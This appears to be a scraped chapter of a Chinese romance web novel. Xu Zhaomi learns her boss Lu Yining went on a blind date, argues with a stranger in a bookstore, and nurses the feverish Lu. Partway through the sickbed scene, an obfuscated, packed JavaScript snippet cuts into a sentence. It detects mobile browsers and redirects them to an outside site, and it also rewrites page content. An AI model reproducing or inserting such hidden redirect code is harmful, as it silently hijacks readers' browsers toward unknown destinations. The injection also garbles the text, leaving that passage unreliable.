他以前多叛逆呢?十八岁前就玩遍各类极限运动,两年内独自穿越国内五大无人区。用他曾经的话说,“死就死了,反正家里有我哥顶着,我的人生就是用来叛逆的。” 自从蒋奇睿去世后,他就什么都说行。 转天陆以宁便去相亲了。 “我操!男神竟然相亲去了!”一大早,贝诗楠就把这个爆炸新闻告诉了许昭弥,“你知道我是怎么知道的吗?我一个商户,家里巨有钱,自己也是个名媛大小姐,昨天去香港玩,在马会上看到的,还去打招呼了!还po了朋友圈!” 又把朋友圈翻出来给许昭弥看,“看见没,男神儿在这,旁边这女的是食品集团大亨千金。男神深藏不漏啊,能和这么厉害的女人相亲,看来家里也一定很有钱,倒是听说过他家里很有背景,还跟总部高层有点亲戚,就是不知道到底是什么背景啊?” 陆以宁的身份很少有人知道,而且他从小随母姓,所以根本没人会把他和董事长联系到一起,只是私下里猜测过他会是董事长的什么亲戚。毕竟他可是从总部调来的。 许昭弥倒是知道,不久前有一次偶然的机会,听何阿姨说起过。虽说何阿姨是说漏了嘴,但之后表现得还挺坦然,只是朝她眨了眨眼睛。许昭弥当时确实吃了一惊,后来仔细琢磨了一番,就什么都想通了。 怪不得他平时那么嚣张,连总部下来的监察都不放在眼里呢。 但很奇怪啊,许昭弥此刻看着眼前的照片,心里却全然没了当初看到他和于晓沁在酒吧饮酒时的那种酸涩,也没了看到他和安旎在森林徒步看星星时的那种情绪波动。现在呢?她只觉得心情平静,无波无澜的,好像他怎么样,和谁在一起,和她并没有什么关系。 她没意识到自己是有点心如止水的感觉了。 只是忽然想到,那么他去相亲了,是不是就意味着他们之间的交易就该结束了?或许是他父亲那边给他安排的,陆曼青并不知情。但不管怎样,既然是家里介绍的相亲对象,那么阿姨应该也会很满意吧? 就是这个想法让她恍惚了那么一下。贝诗楠喊了她好几声,“宝宝,发什么呆呢?听没听见我说话?” “你说什么?”许昭弥回过神来,看向她。 “我说呀,看来男神和安旎应该只是玩玩而已,估计他们那种家庭出身的人,真要到了谈婚论嫁的时候,多半还是要和老钱家族联姻,总归是要讲究门当户对的。” “对,你说的对。” 到下班的时候,许昭弥整理好今天的全部工作内容。拿着手机去了茶水间。 给自己泡了杯咖啡,到吧台坐下,面朝玻璃窗。 给陆以宁发了这样一条消息: “不好意思陆总,打扰您了。冒昧问一下,您是去相亲了吗?” “?” “方便问问您成功了吗?” “是这样的,当初咱们在合作的时候就已经约定好,双方都要保持单身状态才行。要是您现在已经有了正牌女友的话,我觉得这份合作就应该终止了。阿姨那边肯定也会很喜欢您真正的女朋友的。” 发完这条陆以宁就没再回了,许昭弥静静喝完一杯咖啡,起身回到工位前收拾东西下班。 是在走出商场大门的那一刻,抬头发现下雨了。雨丝纷纷,云霭低低压沉。是入春的惊喜,也是她心上最后一丝涟漪。 “好的,成了会告诉你。”陆以宁这时发来消息。 “谢谢。” 21.便利贴与荒原狼21 为了不浪费春暖花开的美好时光,许昭弥决定在以后每个不用上晚班的傍晚,都要到书店去充实自己,让自己变得更好。 也是在那一天,她遇到了一个奇怪的人。 这天下班后,许昭弥早早挎着帆布袋进了电梯。 她今天穿得有点休闲,淡绿色的薄衫搭配牛仔裤,脚上是一双帆布鞋,头发高高束成马尾,白皙的脖子上挂着一枚笑脸吊坠。一天工作下来也没见个疲惫,反倒青春洋溢的,像个活力满满的女大学生。 许昭弥戴着耳机站在后面,听到电梯门开启的声音,同时前方传来同事们的问候声,“陆总好”,紧接着是一阵向两边挪动的脚步声,为中间腾出了空间。她微微侧目,只见陆以宁手握文件,步伐沉稳地步入电梯,简短回应了一声“嗯”。随后,他转过身来,正面朝电梯门,伸手按下了前往四楼的按钮。 许昭弥忙收回余光,往后挪了挪,继续低着头,假装没看见他。整个电梯里刚刚就她没出声。 同事们相继在六楼和五楼下了电梯。狭小的空间顿时只剩下她和陆以宁两人。许昭弥缩在角落里始终没抬头,陆以宁则面色冷峻地站在前面,一手握着文件,另一手插在裤兜里,透过电梯的镜子瞥了她一眼。 四楼到了,电梯门开了又关上,许昭弥用余光窥探,见陆以宁竟然一动没动。怎么没下去?有点奇怪但也没有提醒他。 终于到了一楼,许昭弥埋着头就想赶紧往前走,可一抬头却发现陆以宁依旧堵在前面,压根没有要下去的意思。 “陆总,麻烦您让一下,我要下电梯。”许昭弥只能礼貌地和他开口。 陆以宁侧了侧身,同时将手指按在开门按钮上,阻止电梯门关闭,“今天不加班了?” “该做的工作都在上班时间做完了哦,所以不用加班。” 自从上次他去相亲后,陆以宁就再也没有主动联系过许昭弥,也没有再邀请她回家看过陆曼青。许昭弥心想他们之间的交易大概算是截止了。毕竟又不是真正男女朋友,也不需要正式宣布结束。虽然从贝诗楠那里得知他相亲好像并没成功,听说是女方没看上他。 “那真可惜。”她当时这样说。但其实心里却想:那不是很正常么?像他那样绯闻缠身的渣男,说不定还真有什么隐疾呢,人家名门千金又不差钱,看上他才怪了吧? “不加班着急去干什么?” “好像员工下班后的行程不用跟领导报备吧?”许昭弥朝他笑笑,然后从他身旁潇洒走了出去。 陆以宁黑着脸盯着许昭弥离开的背影,他没意识到自己有多不喜欢她今天的装扮,花枝招展的跟要去约会似的。约会?想到这两个字,他的胃就像痉挛了一样,将手用力压在心口处,又乘电梯回到了四楼。 许昭弥坐车来到了书店,是潞城新开的钟书阁。“哇!”一进门就被旋转直上的螺旋楼梯震撼了,有点像是来到了哈利波特的魔法世界。果然很漂亮啊!网友们真的没有骗她。 她有计划要看哪一门类的书,管理学,但是不用着急,未来还长呢,先把各个区域逛逛再说。 许昭弥来到畅销书区,一排排浏览着。最终找到了她一直想看的那本《人生》。这是她最喜欢的作家詹源的新书,讲述的是女性的自我觉醒。詹源是男人,他从男性视角出发探讨女性的成长议题,去年一经发布就在网络引起广泛讨论,销量甚至突破百万册。詹源也因此一夜爆火,同时还收获了一大批女性粉丝。 许昭弥挺为他感到高兴的,她从初中开始就读詹源的书了,不过詹源是个非常神秘的人,除了他的性别和笔名,网络上几乎找不到任何有关他的其它信息,连一张照片都没有。 正准备将那本书从书架上取下时,许昭弥身旁突然出现了一个高大的身影,抢先一步将她想要的那本书拿了下去。 “啪”的一声,她循声望去,只见那名男子随手将书扔到了角落,接着盘腿坐了上去,从口袋里掏出手机,专注地玩起了游戏。 竟然把詹源的新书当成了屁垫子? “不好意思,打扰您一下。您刚刚拿的那本书是没有包装膜的,您这样直接拿来垫在地上,会把书损坏的哦。而且书是用来看的,可不是用来坐的。能不能麻烦您把它放回原处呢?” 也不知道是压根没听见她说话,还是听见了却故意装作没听见、不搭理她,总之那个男人完全没有理会她。 许昭弥还从来没遇到过这样的人。瞧他穿着倒是挺得体,一副人模人样的样子,长得也斯斯文文的,可怎么就这么没公德心呢? “您好,请您把这本书还给我,我要买这本书。” “您听到我说话了吗?” 大概是嫌她太烦人,男人这才抬起头看了她一眼,接着往对面展台那边随意一指,说道:“这种垃圾书,那边不是多得是?” 许昭弥生了气,这人居然敢说詹源的书是垃圾书? “我就要你现在屁股下面坐着的这一本。” 男人看她一副气势汹汹的模样,突然乐了一下,起身拍拍屁股,把那本《人生》递给她。 “谢谢。”许昭弥接过书转身就走,可没两步又停下,回头对男人说道:“余秋雨先生在《中国文脉》中讲过,过去的人们都极珍视有字的纸张,要收拢起来送到化纸炉才能烧掉,这是对文字文化的尊重,我国向来有敬惜字纸的优良传统,且说文房四宝有神灵。何况每本书都是作者心血,出于对作者和文字的尊重,别再拿其它书垫屁股了哦,当然您自己买的书除外。不过累了走廊就有休息区,逛书店还请您文明。” 许昭弥拿着书去结账,正准备付钱时,一只手从后面伸来,将一本书盖在她的书上,对收银员说:“一起。” “好的先生,两本书一共是六十二块四,扫码还是现金?” “她付。” 许昭弥回头一看,竟然是刚刚那人。这人呢,这会儿还像个无赖一样朝她挑了挑眉。 许昭弥觉得晦气,转过身对收银员说,“麻烦请您分开,我们不是一起的。” 男人手就那么压在那两本书是,更像个无赖了,“一起。” “这……”收银员有点为难,还以为他俩是闹别扭的小情侣,就建议说现在店里正好搞活动,“两本八折哦,要不您和您男朋友再考虑下?” “我们真不是一起的!”许昭弥气得脸都红了,男人却低着头偷笑。 后面排队的人不耐烦催促:“快点吧!” 许昭弥回头瞅了瞅排队的人群,脸上一阵臊热,赶忙付了钱,拿着两本书就走了。 男人追出来喊:“书还我。” “我付的钱,凭什么给你?”许昭弥怀疑这人精神有问题,下意识后退两步。 “是你帮我付的钱,谢谢。”男人说着拿出手机,“我现在没钱,咱俩加个微信,等我有了还你。” 许昭弥暗暗打量着他,心想这人看起来似乎又不像是脑子不正常的那种,说话好歹还是有点逻辑条理的,可这脸皮也是太厚了。 她不想和这样的人扯上关系,摇摇头拒绝加他微信,“算了不用了,当我送给你好了。” 把书递给他,男人接过。 “再见。”许昭弥转身就离开了。 尽管回到家后很晚了,许昭弥还是在睡前就着一杯热牛奶打开了《人生》的书扉。 她不想承认她的内心是有一点空虚的,所以才想用这种方式来填满自己。读书总没错的,读书能让人的内心变得充实,知识赋予人力量,也教人们学会释然,不再患得患失。许昭弥相信自己可以做到。 转天一早来到商场,收拾东西正准备开会,大姚过来通知大家会取消了。 “啊?这么突然?” “陆总生病了。”大姚简单解释一句,指挥大家,“好了好了,是会不开了不是班不上了,该干什么干什么去!” “陆总病了?”大姚走后,同事们私下纷纷讨论。其实还挺意外的,要说别的领导病了请假不来没什么,可他是工作狂魔陆以宁啊!就算病了应该也会改线上,就这么直接取消工作安排真是少见,大家都纷纷猜测他是不是得了什么很严重的病。 许昭弥坐在工位上有点发呆,贝诗楠盯可她很久,终于开口,“弥弥,我发现你最近很奇怪。” 许昭弥回过神来,“怎么奇怪呢?” “有时候跟打了鸡血似的,有时候又突然间特别emo,说你是不是谈恋爱了?” “我没有我不是别瞎说。”许昭弥来了个否认三连,忙抱起文件跑了,“我去巡场了哦!” 贝诗楠摸着下巴又琢磨了一下,得出结论:“nonono,不像恋爱,像失恋。” 许昭弥上午巡场,下午去落实美食节的场地安排,又带两位新入驻的商户参观店铺,一天下来忙忙碌碌的。 到下班的时候,何阿姨突然给她打来电话,语气听起来很是着急。 “弥弥啊,你下班有时间的话,能不能到家里来一趟?是这样的,少爷生病了,陆老师本来正在照顾他,可也不晓得因为啥原因,俩人又拌起了嘴。你是知道少爷的脾气的,他那性子一上来就特别倔,这会儿是既不肯去医院,也不吃药了,把陆老师气得直哭。陆老师身子又一向不好……” 生病了还不去医院,也不吃药,甚至把阿姨气哭了?他多大的人了?许昭弥第一次发现这个人这么幼稚。 “好,我马上去。” 就这么打车赶了过去,路上忍不住催了师傅几次开快一些。她心里想着只是去帮阿姨忙的,可其实却有着她自己都没意识到的担忧和着急。 陆以宁发烧了,烧得最厉害的时候体温有三十九度。其实他体格向来很好,也是早些年没少满世界乱跑的原因。用骆弋舟的话说,“很少见丫趴窝的时候。” 可这次他不仅趴窝了,整个人还跟霜打的茄子一样,蔫巴巴地缩在被子里的。身体里仅存的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15311802|165891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那点儿能量,都在刚刚和陆曼青顶嘴的过程中给消耗殆尽了。 “不去医院也不叫医生,不输液也不吃药,气死我好了。”陆曼青在见到许昭弥的时候,就忍不住伏在她身上掉了两滴泪。 许昭弥安慰她,“阿姨你别急,其实发烧也不一定要吃药,物理方法也是可以降温的,如果是普通感冒或者流感,也不用太着急,这是种自限性疾病,一般都会自行缓解或痊愈的。您身体不好,就在楼下坐一会儿吧,最好别和病人接触,我上去看看。” 眼下这个季节正是流感多发季,许昭弥也有点担心会被传染,临上楼前特意把口罩给戴好了。 陆以宁的卧室拉着帘子,黑漆漆的。床上隐约有个人影,横七竖八躺在上面,走近了看到陆以宁穿着睡衣缩在棉被里,脑门上还拍着一贴退热贴。脸、脖子和耳朵全是红的,上面都是汗。 表情呢,又有那么一点狰狞。 许昭弥弯下腰,把手伸过去,把他脑门上的退热贴撕了下来, 退热贴都滚烫了。 手背又在他脑门上贴了贴,她的手还有点微凉,肌肤相触的那一瞬间,陆以宁舒服地嗯了一声。 许昭弥突然有点可怜他,她知道他为什么要和陆曼青吵架,无非是不想她照顾,怕把病毒传染给阿姨。肯定故意说很多难听的话把陆曼青气跑了。 自己这么难受,却硬扛着。他是不在意自己吗?他可在意了,还知道给自己闷汗呢。 就是这闷汗的方式不太科学,本来体温就这么高了,再这么捂着人不是要被烧死?一看就是没有过什么生病经验。 许昭弥把他身上的棉被往下扒了扒,露出里面的粉色睡衣,又忍不住笑了一下。这男人可真行,多大了还少女心呢,许昭弥心想我可不能白照顾你,于是拿出手机偷拍了他一张粉嫩睡衣照,意满离。 她去卫生间打来温水,把毛巾浸湿,想帮他擦擦身子。照顾病人嘛,就没想那么多,毕竟她是个心思纯洁的好孩子。可当她把睡衣扣子一颗颗解开,最终露出他那赤''裸的胸膛的时候,还是忍不住在心里默默靠了一声…… 陆以宁竟然有六块腹肌!而且每一块形状都很好看。随着呼吸一膨一膨的,因为发烧的原因呢,皮肤又带着一点潮红,显得就有那么几分野性。许昭弥慢慢睁开眼睛,盯着他那白皙精壮的上半身,忍不住吞了吞口水。 怪不得他平时穿衣那么好看,这就是典型的衣架子身材啊。 so,这男人看起来也不太像是不行的样子…… 就那么在心里胆大包天地碎碎念,边用温热的湿毛巾帮他擦拭胸膛、脸颊。来回擦了五六遍,每过十五分钟就又再来一次,大概一个小时后,手探在他额头,好像有那么一点点褪热的迹象了。 许昭弥把睡衣重新帮他穿好,盖上一层薄毯,又拿出一片新的退热贴敷在他额头。收拾好后终于喘了口气,把口罩摘下,擦了擦下颌处渗出的汗,就那么趴在床边休息了一会儿。 陆以宁醒过来,在黑暗里睁开眼,觉得好像身体里的任督二脉都被打通了,有种抽丝剥茧的感觉。 舒服。 “你醒了?好点了吗?”许昭弥察觉到手边的毛毯被轻轻拉扯一下,于是抬起头看向陆以宁。 陆以宁一脸见鬼的表情,看看她,又看看凳子上的水盆,搭在上面的毛巾。 眉头略微一皱,他咳咳两声,“谁让你来的?” “你妈。”许昭弥这样说,却直接起身,把搭在床尾巴的外套穿好,走到窗前拉开帘子,打开窗,“你身体刚好,多呼吸一下新鲜空气,有利于提高代谢。” 外面黑漆漆的,陆以宁看了眼表,“现在是晚上九点,哪里来的新鲜空气?” “总比你房间里都是病毒强。”许昭弥怼回去,她早就知道这人没什么感恩心的,但也不想惯着他,毕竟现在他俩没有合作关系,所以谁也不欠谁。要说欠,也是他欠她好么? “那你还待在都是病毒的房间里?”陆以宁又怼回去。 许昭弥转身就走,她为什么要待在都是病毒的房间里给自己受气呢?“那我走了,正好我晚上还有事。” “有什么事?” “下班时间没必要告诉领导哦。”还是那句话。她不知道就是自己在电梯里的这句话把他气病了的。 “随便,但今天可没钱付你!”陆以宁突然用力咳了两声,他觉得自己也就好了刚刚那一会儿,现在浑身又疼了起来,比烧到快四十度的时候还要疼。 他很生气,他知道自己很生气,但是又不知道自己为什么生气,所以就更生气了。 “不用付钱。”许昭弥走到门前时回过头看他,发现他竟然还在瞪自己,真是农夫与蛇现实版,于是她也瞪回去,语气比他还要凶。 “别那么看着我,要不是何阿姨给我打电话我也不会来,再见。”就这么走了。 陆以宁呼出一口热气,摸了摸额头,好像又烧起来。